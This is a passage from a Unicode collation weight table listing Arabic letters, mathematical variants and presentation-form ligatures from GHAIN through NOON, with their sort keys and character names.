ALEF MAKSURA FINAL FORM +FCF7 ; [.22E5.0020.001A][.2339.0020.001A] # ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM +FD14 ; [.22E5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE AIN WITH YEH FINAL FORM +FCF8 ; [.22E5.0020.001A][.233A.0020.001A] # ARABIC LIGATURE AIN WITH YEH ISOLATED FORM +063A ; [.22E6.0020.0002] # ARABIC LETTER GHAIN +1EE1B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL GHAIN +1EE3B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL INITIAL GHAIN +1EE5B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL TAILED GHAIN +1EE7B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL STRETCHED GHAIN +1EE9B ; [.22E6.0020.0005] # ARABIC MATHEMATICAL LOOPED GHAIN +1EEBB ; [.22E6.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN +FECF ; [.22E6.0020.0017] # ARABIC LETTER GHAIN INITIAL FORM +FED0 ; [.22E6.0020.0018] # ARABIC LETTER GHAIN MEDIAL FORM +FECE ; [.22E6.0020.0019] # ARABIC LETTER GHAIN FINAL FORM +FECD ; [.22E6.0020.001A] # ARABIC LETTER GHAIN ISOLATED FORM +FCBC ; [.22E6.0020.0017][.229D.0020.0017] # ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM +FC2B ; [.22E6.0020.001A][.229D.0020.001A] # ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM +FCBD ; [.22E6.0020.0017][.2318.0020.0017] # ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM +FC2C ; [.22E6.0020.001A][.2318.0020.001A] # ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM +FD79 ; [.22E6.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM +FD7B ; [.22E6.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM +FD7A ; [.22E6.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM +FD15 ; [.22E6.0020.0019][.2339.0020.0019] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM +FCF9 ; [.22E6.0020.001A][.2339.0020.001A] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM +FD16 ; [.22E6.0020.0019][.233A.0020.0019] # ARABIC LIGATURE GHAIN WITH YEH FINAL FORM +FCFA ; [.22E6.0020.001A][.233A.0020.001A] # ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM +06A0 ; [.22E7.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS ABOVE +06FC ; [.22E8.0020.0002] # ARABIC LETTER GHAIN WITH DOT BELOW +075D ; [.22E9.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS ABOVE +075E ; [.22EA.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE +075F ; [.22EB.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE +08B3 ; [.22EC.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS BELOW +0641 ; [.22ED.0020.0002] # ARABIC LETTER FEH +1EE10 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL FEH +1EE30 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL INITIAL FEH +1EE70 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL STRETCHED FEH +1EE90 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL LOOPED FEH +1EEB0 ; [.22ED.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK FEH +FED3 ; [.22ED.0020.0017] # ARABIC LETTER FEH INITIAL FORM +FED4 ; [.22ED.0020.0018] # ARABIC LETTER FEH MEDIAL FORM +FED2 ; [.22ED.0020.0019] # ARABIC LETTER FEH FINAL FORM +FED1 ; [.22ED.0020.001A] # ARABIC LETTER FEH ISOLATED FORM +FCBE ; [.22ED.0020.0017][.229D.0020.0017] # ARABIC LIGATURE FEH WITH JEEM INITIAL FORM +FC2D ; [.22ED.0020.001A][.229D.0020.001A] # ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM +FCBF ; [.22ED.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE FEH WITH HAH INITIAL FORM +FC2E ; [.22ED.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE FEH WITH HAH ISOLATED FORM +FCC0 ; [.22ED.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE FEH WITH KHAH INITIAL FORM +FC2F ; [.22ED.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM +FD7D ; [.22ED.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM +FD7C ; [.22ED.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM +FCC1 ; [.22ED.0020.0017][.2318.0020.0017] # ARABIC LIGATURE FEH WITH MEEM INITIAL FORM +FC30 ; [.22ED.0020.001A][.2318.0020.001A] # ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM +FDC1 ; [.22ED.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM +FC7C ; [.22ED.0020.0019][.2339.0020.0019] # ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM +FC31 ; [.22ED.0020.001A][.2339.0020.001A] # ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM +FC7D ; [.22ED.0020.0019][.233A.0020.0019] # ARABIC LIGATURE FEH WITH YEH FINAL FORM +FC32 ; [.22ED.0020.001A][.233A.0020.001A] # ARABIC LIGATURE FEH WITH YEH ISOLATED FORM +06A1 ; [.22EE.0020.0002] # ARABIC LETTER DOTLESS FEH +1EE1E ; [.22EE.0020.0005] # ARABIC MATHEMATICAL DOTLESS FEH +1EE7E ; [.22EE.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS FEH +06A2 ; [.22EF.0020.0002] # ARABIC LETTER FEH WITH DOT MOVED BELOW +06A3 ; [.22F0.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW +06A4 ; [.22F1.0020.0002] # ARABIC LETTER VEH +FB6C ; [.22F1.0020.0017] # ARABIC LETTER VEH INITIAL FORM +FB6D ; [.22F1.0020.0018] # ARABIC LETTER VEH MEDIAL FORM +FB6B ; [.22F1.0020.0019] # ARABIC LETTER VEH FINAL FORM +FB6A ; [.22F1.0020.001A] # ARABIC LETTER VEH ISOLATED FORM +08A4 ; [.22F2.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE +06A5 ; [.22F3.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS BELOW +06A6 ; [.22F4.0020.0002] # ARABIC LETTER PEHEH +FB70 ; [.22F4.0020.0017] # ARABIC LETTER PEHEH INITIAL FORM +FB71 ; [.22F4.0020.0018] # ARABIC LETTER PEHEH MEDIAL FORM +FB6F ; [.22F4.0020.0019] # ARABIC LETTER PEHEH FINAL FORM +FB6E ; [.22F4.0020.001A] # ARABIC LETTER PEHEH ISOLATED FORM +0760 ; [.22F5.0020.0002] # ARABIC LETTER FEH WITH TWO DOTS BELOW +0761 ; [.22F6.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW +066F ; [.22F7.0020.0002] # ARABIC LETTER DOTLESS QAF +1EE1F ; [.22F7.0020.0005] # ARABIC MATHEMATICAL DOTLESS QAF +1EE5F ; [.22F7.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS QAF +0642 ; [.22F8.0020.0002] # ARABIC LETTER QAF +1EE12 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL QAF +1EE32 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL INITIAL QAF +1EE52 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL TAILED QAF +1EE72 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL STRETCHED QAF +1EE92 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL LOOPED QAF +1EEB2 ; [.22F8.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK QAF +FED7 ; [.22F8.0020.0017] # ARABIC LETTER QAF INITIAL FORM +FED8 ; [.22F8.0020.0018] # ARABIC LETTER QAF MEDIAL FORM +FED6 ; [.22F8.0020.0019] # ARABIC LETTER QAF FINAL FORM +FED5 ; [.22F8.0020.001A] # ARABIC LETTER QAF ISOLATED FORM +FCC2 ; [.22F8.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE QAF WITH HAH INITIAL FORM +FC33 ; [.22F8.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE QAF WITH HAH ISOLATED FORM +FDF1 ; [.22F8.0020.001A][.2311.0020.001A][.2347.0020.001A] # ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM +FCC3 ; [.22F8.0020.0017][.2318.0020.0017] # ARABIC LIGATURE QAF WITH MEEM INITIAL FORM +FC34 ; [.22F8.0020.001A][.2318.0020.001A] # ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM +FDB4 ; [.22F8.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM +FD7E ; [.22F8.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM +FD7F ; [.22F8.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM +FDB2 ; [.22F8.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM +FC7E ; [.22F8.0020.0019][.2339.0020.0019] # ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM +FC35 ; [.22F8.0020.001A][.2339.0020.001A] # ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM +FC7F ; [.22F8.0020.0019][.233A.0020.0019] # ARABIC LIGATURE QAF WITH YEH FINAL FORM +FC36 ; [.22F8.0020.001A][.233A.0020.001A] # ARABIC LIGATURE QAF WITH YEH ISOLATED FORM +06A7 ; [.22F9.0020.0002] # ARABIC LETTER QAF WITH DOT ABOVE +06A8 ; [.22FA.0020.0002] # ARABIC LETTER QAF WITH THREE DOTS ABOVE +08A5 ; [.22FB.0020.0002] # ARABIC LETTER QAF WITH DOT BELOW +0643 ; [.22FC.0020.0002] # ARABIC LETTER KAF +1EE0A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL KAF +1EE2A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL INITIAL KAF +1EE6A ; [.22FC.0020.0005] # ARABIC MATHEMATICAL STRETCHED KAF +FEDB ; [.22FC.0020.0017] # ARABIC LETTER KAF INITIAL FORM +FEDC ; [.22FC.0020.0018] # ARABIC LETTER KAF MEDIAL FORM +FEDA ; [.22FC.0020.0019] # ARABIC LETTER KAF FINAL FORM +FED9 ; [.22FC.0020.001A] # ARABIC LETTER KAF ISOLATED FORM +FC80 ; [.22FC.0020.0019][.2286.0020.0019] # ARABIC LIGATURE KAF WITH ALEF FINAL FORM +FC37 ; [.22FC.0020.001A][.2286.0020.001A] # ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM +FCC4 ; [.22FC.0020.0017][.229D.0020.0017] # ARABIC LIGATURE KAF WITH JEEM INITIAL FORM +FC38 ; [.22FC.0020.001A][.229D.0020.001A] # ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM +FCC5 ; [.22FC.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE KAF WITH HAH INITIAL FORM +FC39 ; [.22FC.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE KAF WITH HAH ISOLATED FORM +FCC6 ; [.22FC.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE KAF WITH KHAH INITIAL FORM +FC3A ; [.22FC.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM +FCC7 ; [.22FC.0020.0017][.2311.0020.0017] # ARABIC LIGATURE KAF WITH LAM INITIAL FORM +FCEB ; [.22FC.0020.0018][.2311.0020.0018] # ARABIC LIGATURE KAF WITH LAM MEDIAL FORM +FC81 ; [.22FC.0020.0019][.2311.0020.0019] # ARABIC LIGATURE KAF WITH LAM FINAL FORM +FC3B ; [.22FC.0020.001A][.2311.0020.001A] # ARABIC LIGATURE KAF WITH LAM ISOLATED FORM +FCC8 ; [.22FC.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KAF WITH MEEM INITIAL FORM +FCEC ; [.22FC.0020.0018][.2318.0020.0018] # ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM +FC82 ; [.22FC.0020.0019][.2318.0020.0019] # ARABIC LIGATURE KAF WITH MEEM FINAL FORM +FC3C ; [.22FC.0020.001A][.2318.0020.001A] # ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM +FDC3 ; [.22FC.0020.0017][.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM +FDBB ; [.22FC.0020.0019][.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM +FDB7 ; [.22FC.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM +FC83 ; [.22FC.0020.0019][.2339.0020.0019] # ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM +FC3D ; [.22FC.0020.001A][.2339.0020.001A] # ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM +FC84 ; [.22FC.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KAF WITH YEH FINAL FORM +FC3E ; [.22FC.0020.001A][.233A.0020.001A] # ARABIC LIGATURE KAF WITH YEH ISOLATED FORM +06A9 ; [.22FD.0020.0002] # ARABIC LETTER KEHEH +FB90 ; [.22FD.0020.0017] # ARABIC LETTER KEHEH INITIAL FORM +FB91 ; [.22FD.0020.0018] # ARABIC LETTER KEHEH MEDIAL FORM +FB8F ; [.22FD.0020.0019] # ARABIC LETTER KEHEH FINAL FORM +FB8E ; [.22FD.0020.001A] # ARABIC LETTER KEHEH ISOLATED FORM +06AA ; [.22FE.0020.0002] # ARABIC LETTER SWASH KAF +06AB ; [.22FF.0020.0002] # ARABIC LETTER KAF WITH RING +06AC ; [.2300.0020.0002] # ARABIC LETTER KAF WITH DOT ABOVE +077F ; [.2301.0020.0002] # ARABIC LETTER KAF WITH TWO DOTS ABOVE +06AD ; [.2302.0020.0002] # ARABIC LETTER NG +FBD5 ; [.2302.0020.0017] # ARABIC LETTER NG INITIAL FORM +FBD6 ; [.2302.0020.0018] # ARABIC LETTER NG MEDIAL FORM +FBD4 ; [.2302.0020.0019] # ARABIC LETTER NG FINAL FORM +FBD3 ; [.2302.0020.001A] # ARABIC LETTER NG ISOLATED FORM +06AE ; [.2303.0020.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW +08B4 ; [.2304.0020.0002] # ARABIC LETTER KAF WITH DOT BELOW +06AF ; [.2305.0020.0002] # ARABIC LETTER GAF +FB94 ; [.2305.0020.0017] # ARABIC LETTER GAF INITIAL FORM +FB95 ; [.2305.0020.0018] # ARABIC LETTER GAF MEDIAL FORM +FB93 ; [.2305.0020.0019] # ARABIC LETTER GAF FINAL FORM +FB92 ; [.2305.0020.001A] # ARABIC LETTER GAF ISOLATED FORM +08B0 ; [.2306.0020.0002] # ARABIC LETTER GAF WITH INVERTED STROKE +06B0 ; [.2307.0020.0002] # ARABIC LETTER GAF WITH RING +06B1 ; [.2308.0020.0002] # ARABIC LETTER NGOEH +FB9C ; [.2308.0020.0017] # ARABIC LETTER NGOEH INITIAL FORM +FB9D ; [.2308.0020.0018] # ARABIC LETTER NGOEH MEDIAL FORM +FB9B ; [.2308.0020.0019] # ARABIC LETTER NGOEH FINAL FORM +FB9A ; [.2308.0020.001A] # ARABIC LETTER NGOEH ISOLATED FORM +06B2 ; [.2309.0020.0002] # ARABIC LETTER GAF WITH TWO DOTS BELOW +06B3 ; [.230A.0020.0002] # ARABIC LETTER GUEH +FB98 ; [.230A.0020.0017] # ARABIC LETTER GUEH INITIAL FORM +FB99 ; [.230A.0020.0018] # ARABIC LETTER GUEH MEDIAL FORM +FB97 ; [.230A.0020.0019] # ARABIC LETTER GUEH FINAL FORM +FB96 ; [.230A.0020.001A] # ARABIC LETTER GUEH ISOLATED FORM +06B4 ; [.230B.0020.0002] # ARABIC LETTER GAF WITH THREE DOTS ABOVE +0762 ; [.230C.0020.0002] # ARABIC LETTER KEHEH WITH DOT ABOVE +063B ; [.230D.0020.0002] # ARABIC LETTER KEHEH WITH TWO DOTS ABOVE +063C ; [.230E.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS BELOW +0763 ; [.230F.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS ABOVE +0764 ; [.2310.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW +0644 ; [.2311.0020.0002] # ARABIC LETTER LAM +1EE0B ; [.2311.0020.0005] # ARABIC MATHEMATICAL LAM +1EE2B ; [.2311.0020.0005] # ARABIC MATHEMATICAL INITIAL LAM +1EE4B ; [.2311.0020.0005] # ARABIC MATHEMATICAL TAILED LAM +1EE8B ; [.2311.0020.0005] # ARABIC MATHEMATICAL LOOPED LAM +1EEAB ; [.2311.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK LAM +FEDF ; [.2311.0020.0017] # ARABIC LETTER LAM INITIAL FORM +FEE0 ; [.2311.0020.0018] # ARABIC LETTER LAM MEDIAL FORM +FEDE ; [.2311.0020.0019] # ARABIC LETTER LAM FINAL FORM +FEDD ; [.2311.0020.001A] # ARABIC LETTER LAM ISOLATED FORM +FEF6 ; [.2311.0020.0019][.2279.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM +FEF5 ; [.2311.0020.001A][.2279.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM +FEF8 ; [.2311.0020.0019][.227A.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM +FEF7 ; [.2311.0020.001A][.227A.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM +FEFA ; [.2311.0020.0019][.227E.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM +FEF9 ; [.2311.0020.001A][.227E.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM +FEFC ; [.2311.0020.0019][.2286.0020.0019] # ARABIC LIGATURE LAM WITH ALEF FINAL FORM +FEFB ; [.2311.0020.001A][.2286.0020.001A] # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM +FCC9 ; [.2311.0020.0017][.229D.0020.0017] # ARABIC LIGATURE LAM WITH JEEM INITIAL FORM +FC3F ; [.2311.0020.001A][.229D.0020.001A] # ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM +FD83 ; [.2311.0020.0017][.229D.0020.0017][.229D.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM +FD84 ; [.2311.0020.0019][.229D.0020.0019][.229D.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM +FDBA ; [.2311.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM +FDBC ; [.2311.0020.0019][.229D.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM +FDAC ; [.2311.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM +FCCA ; [.2311.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE LAM WITH HAH INITIAL FORM +FC40 ; [.2311.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE LAM WITH HAH ISOLATED FORM +FDB5 ; [.2311.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM +FD80 ; [.2311.0020.0019][.22A4.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM +FD82 ; [.2311.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM +FD81 ; [.2311.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM +FCCB ; [.2311.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE LAM WITH KHAH INITIAL FORM +FC41 ; [.2311.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM +FD86 ; [.2311.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM +FD85 ; [.2311.0020.0019][.22A5.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM +FCCC ; [.2311.0020.0017][.2318.0020.0017] # ARABIC LIGATURE LAM WITH MEEM INITIAL FORM +FCED ; [.2311.0020.0018][.2318.0020.0018] # ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM +FC85 ; [.2311.0020.0019][.2318.0020.0019] # ARABIC LIGATURE LAM WITH MEEM FINAL FORM +FC42 ; [.2311.0020.001A][.2318.0020.001A] # ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM +FD88 ; [.2311.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM +FD87 ; [.2311.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM +FDAD ; [.2311.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM +FCCD ; [.2311.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH HEH INITIAL FORM +FC86 ; [.2311.0020.0019][.2339.0020.0019] # ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM +FC43 ; [.2311.0020.001A][.2339.0020.001A] # ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM +FC87 ; [.2311.0020.0019][.233A.0020.0019] # ARABIC LIGATURE LAM WITH YEH FINAL FORM +FC44 ; [.2311.0020.001A][.233A.0020.001A] # ARABIC LIGATURE LAM WITH YEH ISOLATED FORM +06B5 ; [.2312.0020.0002] # ARABIC LETTER LAM WITH SMALL V +06B6 ; [.2313.0020.0002] # ARABIC LETTER LAM WITH DOT ABOVE +06B7 ; [.2314.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS ABOVE +06B8 ; [.2315.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS BELOW +076A ; [.2316.0020.0002] # ARABIC LETTER LAM WITH BAR +08A6 ; [.2317.0020.0002] # ARABIC LETTER LAM WITH DOUBLE BAR +0645 ; [.2318.0020.0002] # ARABIC LETTER MEEM +1EE0C ; [.2318.0020.0005] # ARABIC MATHEMATICAL MEEM +1EE2C ; [.2318.0020.0005] # ARABIC MATHEMATICAL INITIAL MEEM +1EE6C ; [.2318.0020.0005] # ARABIC MATHEMATICAL STRETCHED MEEM +1EE8C ; [.2318.0020.0005] # ARABIC MATHEMATICAL LOOPED MEEM +1EEAC ; [.2318.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK MEEM +FEE3 ; [.2318.0020.0017] # ARABIC LETTER MEEM INITIAL FORM +FEE4 ; [.2318.0020.0018] # ARABIC LETTER MEEM MEDIAL FORM +FEE2 ; [.2318.0020.0019] # ARABIC LETTER MEEM FINAL FORM +FEE1 ; [.2318.0020.001A] # ARABIC LETTER MEEM ISOLATED FORM +06FE ; [.2318.0020.0004][.0000.010C.0004] # ARABIC SIGN SINDHI POSTPOSITION MEN +FC88 ; [.2318.0020.0019][.2286.0020.0019] # ARABIC LIGATURE MEEM WITH ALEF FINAL FORM +FCCE ; [.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM +FC45 ; [.2318.0020.001A][.229D.0020.001A] # ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM +FD8C ; [.2318.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM +FD92 ; [.2318.0020.0017][.229D.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM +FD8D ; [.2318.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM +FDC0 ; [.2318.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM +FCCF ; [.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE MEEM WITH HAH INITIAL FORM +FC46 ; [.2318.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM +FD89 ; [.2318.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM +FD8A ; [.2318.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM +FDF4 ; [.2318.0020.001A][.22A4.0020.001A][.2318.0020.001A][.22AF.0020.001A] # ARABIC LIGATURE MOHAMMAD ISOLATED FORM +FD8B ; [.2318.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM +FCD0 ; [.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM +FC47 ; [.2318.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM +FD8E ; [.2318.0020.0017][.22A5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM +FD8F ; [.2318.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM +FDB9 ; [.2318.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM +FCD1 ; [.2318.0020.0017][.2318.0020.0017] # ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM +FC89 ; [.2318.0020.0019][.2318.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM FINAL FORM +FC48 ; [.2318.0020.001A][.2318.0020.001A] # ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM +FDB1 ; [.2318.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM +FC49 ; [.2318.0020.001A][.2339.0020.001A] # ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM +FC4A ; [.2318.0020.001A][.233A.0020.001A] # ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM +0765 ; [.2319.0020.0002] # ARABIC LETTER MEEM WITH DOT ABOVE +0766 ; [.231A.0020.0002] # ARABIC LETTER MEEM WITH DOT BELOW +08A7 ; [.231B.0020.0002] # ARABIC LETTER MEEM WITH THREE DOTS ABOVE +0646 ; [.231C.0020.0002] # ARABIC LETTER NOON +1EE0D ; [.231C.0020.0005] # ARABIC MATHEMATICAL NOON +1EE2D ; [.231C.0020.0005] # ARABIC MATHEMATICAL INITIAL NOON +1EE4D ; [.231C.0020.0005] # ARABIC MATHEMATICAL TAILED NOON +1EE6D ; [.231C.0020.0005] # ARABIC MATHEMATICAL STRETCHED NOON +1EE8D ; [.231C.0020.0005] # ARABIC MATHEMATICAL LOOPED NOON +1EEAD ; [.231C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK NOON +FEE7 ; [.231C.0020.0017] # ARABIC LETTER NOON INITIAL FORM +FEE8 ; [.231C.0020.0018] # ARABIC LETTER NOON MEDIAL FORM +FEE6 ; [.231C.0020.0019] # ARABIC LETTER NOON FINAL FORM +FEE5 ; [.231C.0020.001A] # ARABIC LETTER NOON ISOLATED FORM +FCD2 ; [.231C.0020.0017][.229D.0020.0017] # ARABIC LIGATURE NOON WITH JEEM INITIAL FORM +FC4B ; [.231C.0020.001A][.229D.0020.001A] # ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM +FDB8 ; [.231C.0020.0017][.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM +FDBD ; [.231C.0020.0019][.229D.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM +FD98 ; [.231C.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM +FD97 ; 